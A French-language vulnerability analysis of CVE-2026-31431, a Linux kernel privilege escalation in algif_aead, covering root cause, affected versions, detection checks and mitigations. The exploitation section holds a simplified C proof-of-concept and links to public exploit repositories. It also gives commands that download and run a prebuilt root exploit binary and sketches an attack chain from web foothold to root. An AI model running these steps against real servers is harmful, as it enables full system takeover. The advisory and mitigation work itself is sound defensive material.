
Analyse technique de CVE-2026-31431, une élévation de privilèges locale dans le noyau Linux au niveau du module algif_aead, incluant la cause racine, les versions affectées, le déroulement de l'exploitation et les stratégies d'atténuation.
Classification : Élévation de privilèges locale (LPE) — Noyau Linux
CVSS : 7,8 (Élevé)
Impact :utilisateur sans privilèges → root
Module concerné :algif_aead(sous-système AF_ALG du noyau)
Le noyau Linux expose une interface cryptographique à l'espace utilisateur appelée AF_ALG (socket de famille AF_ALG). Cette interface permet aux processus sans privilèges d'utiliser les accélérateurs cryptographiques du noyau — chiffrement, hachage, génération de clés — sans avoir besoin de root.
L'un de ses modules est algif_aead, qui implémente le mode AEAD (Authenticated Encryption with Associated Data), utilisé par des algorithmes comme AES-GCM ou ChaCha20-Poly1305.
Le bug se situe dans la façon dont algif_aead gère les opérations sendmsg() + recvmsg() lorsque le buffer de sortie est plus petit que prévu. Le noyau exécute une opération de copie (copy_to_user) sans valider correctement la taille, ce qui provoque :
Buffer overflow → écriture hors limites dans la mémoire du noyau
Techniquement :
algif_aead_copy_sgl()
└─ sg_copy_to_buffer()
└─ memcpy vers une adresse partiellement contrôlée par l'utilisateur
Cette écriture hors limites permet de réécrire des structures de contrôle adjacentes du noyau en mémoire — en particulier des pointeurs de fonction ou des structures cred — pour élever les privilèges.
Parce que AF_ALG est disponible pour les utilisateurs sans privilèges. N'importe quel processus peut ouvrir un socket AF_ALG et envoyer des données sans authentification préalable. L'exploit ne nécessite aucune vulnérabilité auxiliaire.
// Cela peut être fait par n'importe quel utilisateur du système
int fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
| Version du noyau | Concerné ? |
|---|---|
| < 5.10 | Non (le module n'existait pas sous cette forme) |
| 5.10 — 6.1.x | Oui ⚠️ |
| 6.2.x | Oui ⚠️ (inclut le noyau du PoC) |
| 6.3+ avec correctif appliqué | Non ✅ |
# Vérifier la version du noyau
uname -r
# Vérifier si le module vulnérable est chargé
lsmod | grep algif_aead
# Vérifier si AF_ALG est disponible
cat /proc/net/protocols | grep ALG
$ uname -r
6.2.0-20-generic
$ lsmod | grep algif_aead
algif_aead 20480 0
af_alg 32768 3 algif_aead,algif_skcipher,algif_hash
⚠️ Si vous voyez
algif_aeaddanslsmodet que votre noyau est6.2.xsur Ubuntu 23.04, vous êtes exposé.
⚠️ Avis éthique : Cette section est purement éducative. L'exploitation de systèmes sans autorisation explicite est illégale et punissable. Les exemples sont destinés à des environnements de laboratoire contrôlés.
1. Ouvrir un socket AF_ALG (algif_aead)
2. Envoyer sendmsg() avec un buffer surdimensionné
3. recvmsg() avec un buffer plus petit → déclenchement du bug
4. Écriture hors limites dans le tas du noyau
5. Réécrire cred->uid/gid à 0
6. execve("/bin/sh") → shell root
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/if_alg.h>
int main(void) {
struct sockaddr_alg sa = {
.salg_family = AF_ALG,
.salg_type = "aead",
.salg_name = "gcm(aes)",
.salg_feat = 0,
.salg_mask = 0,
};
int fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
bind(fd, (struct sockaddr *)&sa, sizeof(sa));
// Configurer une clé de 16 octets
char key[16] = {0};
setsockopt(fd, SOL_ALG, ALG_SET_KEY, key, sizeof(key));
setsockopt(fd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 16);
int op_fd = accept(fd, NULL, NULL);
// Grand buffer → déclenchement de l'écriture hors limites
char big_buf[4096] = {0};
char small_buf[16] = {0};
struct msghdr msg = {0};
// ... construction du msghdr avec cmsg ALG_OP_ENCRYPT
sendmsg(op_fd, &msg, 0);
// recvmsg avec un buffer insuffisant → le noyau écrit hors limites
recv(op_fd, small_buf, sizeof(small_buf), 0);
// Si l'exploit a fonctionné, nous sommes maintenant root
if (getuid() == 0) {
printf("[+] Root obtenu !\n");
execl("/bin/sh", "sh", NULL);
}
return 0;
}
Ceci est un schéma simplifié. L'exploit réel nécessite des primitives supplémentaires de mise en forme du tas pour aligner l'écriture hors limites avec la structure
task_struct->cred.
Les dépôts suivants contiennent des implémentations fonctionnelles documentées :
copy-fail-c — Exploit en C pur, nécessite une compilation
https://github.com/tgies/copy-fail-c
copy-fail-tiny-elf — Binaire ELF autonome, ne nécessite pas de compilation
https://github.com/Crihexe/copy-fail-tiny-elf-CVE-2026-31431
# Cloner et compiler copy-fail-c
git clone https://github.com/tgies/copy-fail-c
cd copy-fail-c
make
./copyfail
# Résultat attendu sur un système vulnérable :
# [*] Vérification du module algif_aead...
# [*] Préparation du spray de tas...
# [+] Écriture hors limites réussie
# [+] UID maintenant : 0
# # whoami
# root
wget https://github.com/Crihexe/copy-fail-tiny-elf-CVE-2026-31431/raw/main/copyfail
chmod +x copyfail
./copyfail
Attaquant externe
│
▼
Exploite une vulnérabilité web (RCE) → accès en tant que www-data
│
▼
Télécharge copyfail sur le serveur (wget/curl)
│
▼
Exécute ./copyfail
│
▼
Shell root sur le serveur ✓
Temps estimé entre l'accès www-data et root : < 30 secondes.
La seule solution réelle est d'avoir un noyau avec le correctif appliqué.
# Option 1 : Mise à niveau vers Ubuntu 24.04 LTS (recommandé)
do-release-upgrade
# Option 2 : Si vous avez déjà Ubuntu 22.04 LTS
sudo apt update && sudo apt dist-upgrade
sudo reboot
# Vérifier le noyau corrigé
uname -r # doit être ≥ 5.15.0-107 sur Ubuntu 22.04
Si vous ne pouvez pas mettre à jour immédiatement, désactivez algif_aead :
# Créer une blacklist du module
echo "blacklist algif_aead" | sudo tee /etc/modprobe.d/blacklist-algif-aead.conf
# Régénérer initramfs pour que ce soit permanent
sudo update-initramfs -u
# Redémarrer
sudo reboot
Vérifier qu'il est bien désactivé :
lsmod | grep algif_aead
# Rien ne doit apparaître
⚠️ Cela peut casser les logiciels qui utilisent le chiffrement AEAD via AF_ALG (peu courant sur les serveurs web standard).
# Désactiver les user namespaces sans privilèges (casse certaines fonctionnalités de Docker)
sudo sysctl -w kernel.unprivileged_userns_clone=0
# Rendre permanent
echo "kernel.unprivileged_userns_clone=0" | sudo tee -a /etc/sysctl.d/99-hardening.conf
sudo sysctl -p /etc/sysctl.d/99-hardening.conf
Créer un profil AppArmor qui refuse l'accès à AF_ALG :
# /etc/apparmor.d/local/restrict-af-alg
network af_alg, # refuser dans les profils spécifiques
Pour le processus web (exemple nginx/www-data) :
# Ajouter au profil AppArmor de www-data ou nginx
# deny network af_alg,
sudo apparmor_parser -r /etc/apparmor.d/usr.sbin.nginx
Bien que cela n'empêche pas l'élévation de privilèges, cela réduit la surface d'attaque initiale :
# Vérifier que www-data n'a pas sudo
sudo grep www-data /etc/sudoers
# Supprimer les binaires SUID inutiles
find / -perm -4000 2>/dev/null
# Restreindre les répertoires accessibles
chmod 700 /root
chmod 750 /home/*
https://nvd.nist.gov/vuln/detail/CVE-2026-31431crypto/algif_aead.chttps://github.com/tgies/copy-fail-chttps://github.com/Crihexe/copy-fail-tiny-elf-CVE-2026-31431Document élaboré à des fins académiques — Ingénieur administrateur de systèmes, 2026
| Distribution | Noyau typique | Correctif disponible ? |
|---|
| Ubuntu 23.04 (lunar) | 6.2.0 | ❌ EOL — sans correctifs |
| Ubuntu 22.04 LTS | 5.15.x | ✅ Corrigé |
| Ubuntu 24.04 LTS | 6.8.x | ✅ Non concerné |
| Debian 12 (Bookworm) | 6.1.x | ✅ Corrigé |
| Arch Linux (2026-03+) | 6.8.x | ✅ Non concerné |
| Atténuation | Efficacité | Impact sur le service | Permanent |
|---|
| Mise à niveau vers Ubuntu 24.04 | ✅ Totale | Minime | Oui |
Blacklist algif_aead | ✅ Élevée | Très faible | Oui |
unprivileged_userns_clone=0 | 🟡 Partielle | Modéré | Oui |
| AppArmor AF_ALG deny | ✅ Élevée | Faible | Oui |
| Durcissement de www-data | 🟡 Réduit | Aucun | Oui |